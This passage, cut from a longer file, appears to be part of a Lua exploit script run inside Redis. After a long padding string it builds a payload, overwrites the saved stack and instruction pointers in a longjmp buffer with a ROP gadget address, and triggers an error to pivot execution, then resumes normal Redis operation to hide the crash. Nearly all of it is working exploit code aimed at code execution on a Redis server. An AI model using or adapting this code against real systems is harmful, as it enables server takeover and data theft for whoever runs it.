XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" } payload_str = table.concat ( payload , " " ) local payload_string_addr = addint ( cstring ( payload_str ), 4096 ) print ( " [*] new sp " .. dump8 ( payload_string_addr )) --[[ TODO: we always seem to get back strings that are correctly 16 byte aligned. handle unaligned strings? ]] if ( string.byte ( payload_string_addr , 1 ) % 16 ) ~= 8 then fail ( " payload not aligned" ) end write_word ( jmp_buf_sp , payload_string_addr ) write_word ( jmp_buf_eip , rop_addresses . poprdipoprbp ) --[[ you can also overwrite the SP at stackpointer - 16 . but if we corrupt long jump then it is possible to return back into redis :) ]] print ( " [*] executing payload" ) error ( " wat" ) end ) coroutine.resume ( co ) print ( " [*] resumed normal redis execution" ) collectgarbage () return 42